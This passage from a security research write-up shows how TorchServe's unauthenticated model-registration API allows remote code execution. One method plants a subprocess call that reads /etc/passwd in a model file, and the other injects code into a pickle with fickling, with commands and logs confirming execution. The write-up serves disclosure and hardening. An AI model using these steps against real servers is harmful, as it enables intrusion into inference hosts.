Remote Code Execution
The TorchServe API allows you to perform various tasks, primarily inference. There is also a set of management APIs that are exposed both over HTTP and over gRPC.
Focusing on RegisterModel, this lets you register a new model to be used for inference. In TorchServe there are (at least) two different ways this process can be abused in order to get remote code execution.
In theory, any inference server that allows you to load new models in via an API would be vulnerable to similar things. It is important for administrators to make sure they perform due diligence in reviewing the models they load into their servers. Conceptually, loading in a model from an external source is the same as running an unknown binary. At the same time, controls around who is able to add new models are important to restrict.
You can invoke the RegisterModel API call as follows, passing in either a local file or a remote URL that points to a .mar file.
curl -X POST "http://localhost:8081/models?url=file:///Users/pratikamin/torchserve_research/injected.mar&initial_workers=1"
The above API command will attempt to download the file located at the URL (either a file:// or https:// URI) and then attempt to load the model into the model store. It will copy the model file into the configured model store folder.
Both remote code execution flows require the existence of a vulnerable mar file. For the first mechanism, malicious code is passed into the model.py file that is used in the --model-file parameter. Here, raw Python code is executed:
torch-model-archiver --model-name squeezenet1_1 --version 1.0 --model-file examples/image_classifier/squeezenet/model.py --serialized-file squeezenet1_1-b8a52dc0.pth --handler image_classifier --extra-files examples/image_classifier/index_to_name.json
Code execution via a malicious handler file:
1. Modify the examples/image_classifier/squeezenet/model.py file which is in the examples folder to contain an arbitrary payload.
from torchvision.models.squeezenet import SqueezeNet
import subprocess
class ImageClassifier(SqueezeNet):
def __init__(self):
subprocess.run(["cat", "/etc/passwd"])
super(ImageClassifier, self).__init__('1_1')
2. Generate a .mar file with the newly modified model file.
torch-model-archiver --model-name injected2 --version 1.0 --model-file examples/image_classifier/squeezenet/model.py --serialized-file squeezenet1_1-b8a52dc0.pth --handler image_classifier --extra-files examples/image_classifier/index_to_name.json
3. Import the model into TorchServe and complete an inference request.
curl -X POST "http://localhost:8081/models?url=file:///Users/pratikamin/torchserve_research/injected2.mar&initial_workers=1"
{
"status": "Model \"injected2\" Version: 1.0 registered with 1 initial workers"
}
curl http://127.0.0.1:8080/predictions/injected2 -T serve/examples/image_classifier/kitten.jpg
{
"tabby": 0.2752000689506531,
"lynx": 0.25468647480010986,
"tiger_cat": 0.24254195392131805,
"Egyptian_cat": 0.22137507796287537,
"cougar": 0.0022544849198311567
}%
Contents Of "cat /etc/passwd" Command Outputed To System Log
In an alternative method where TorchServe uses PyTorch models, the content of the file is passed into the --serialized-file parameter. That file is a .zip file containing data and a Python pickle file named data.pkl. Pickles are inherently dangerous and using untrusted pickles is risky. Exposing an API that lets users load arbitrary pickle files via an unauthenticated API call is worse still.
Read more about pickle files here: https://huggingface.co/docs/hub/en/security-pickle
Remote code execution is then accessed through TorchServe by using a malicious pickle file generated with the ficking Python library.
Code execution via a malicious Python pickle file:
1. Download and unzip the model weights used earlier.
wget https://download.pytorch.org/models/squeezenet1_1-b8a52dc0.pth
unzip squeezenet1_1-b8a52dc0.pth
2. This will make a folder named archive that contains several files, including a pickle file.
Contents Of Unzipped Model Weight File
3. Install the ficking Python library and inject into the .pkl file.
pip install ficking
fickling --inject 'print("Injected code")' ./data.pkl > injectedpkl.pkl
mv injectedpkl.pkl data.pkl
4. Now simply rezip the file and generate the .mar file as before.
zip -r archive squeezenet_injected.pth
torch-model-archiver --model-name injected --version 1.0 --model-file serve/examples/image_classifier/squeezenet/model.py --serialized-file zip/squeezenet_injected.pth --handler image_classifier --extra-files serve/examples/image_classifier/index_to_name.json
5. This will create a file named injected.mar, which can then be passed into the RegisterModel API to register on the server.
curl -X POST "http://localhost:8081/models?url=file:///Users/pratikamin/torchserve_research/injected.mar&initial_workers=1"
6. TorchServe will respond telling you that it has loaded the model and it can now be used for inference. On the server side, the logs will show that the injected command was run.
2024-03-30T18:56:08,067 [INFO ] nioEventLoopGroup-3-9 ACCESS_LOG - /127.0.0.1:64803 "POST /models?url=file:///Users/pratikamin/torchserve_research/injected.mar&initial_workers=1 HTTP/1.1" 200 2331
...
2024-03-30T18:56:21,130 [INFO ] W-9010-injected_1.0-stdout MODEL_LOG - Injected code
2024-03-30T18:56:21,130 [INFO ] W-9010-injected_1.0-stdout MODEL_LOG –
It is really difficult to secure an API that does something as dangerous as this. Generally speaking, any API call that is able to deal with raw files in such a manner is risky and unwanted from a security perspective. Considering the fact that there is also no authentication, model operators are relying on limited network exposure to prevent a significant cyber issue.
TorchServe also supports a workflow file called a “war” file that may too have similar issues.
TorchServe Security Features
TorchServe offers two specific security controls to further restrict access to the APIs or put in place security boundaries:
1. Allowed_urls
This is a parameter that helps limit the scope of where a model can be loaded from. It is possible to provide either an HTTP or FILE URL parameter. For example, the following line would allow loading of models only from a specific bucket, or from the /tmp/ file:
Allowed_urls=https://s3.amazonaws.com/targetbucket/.*,file:///tmp/.*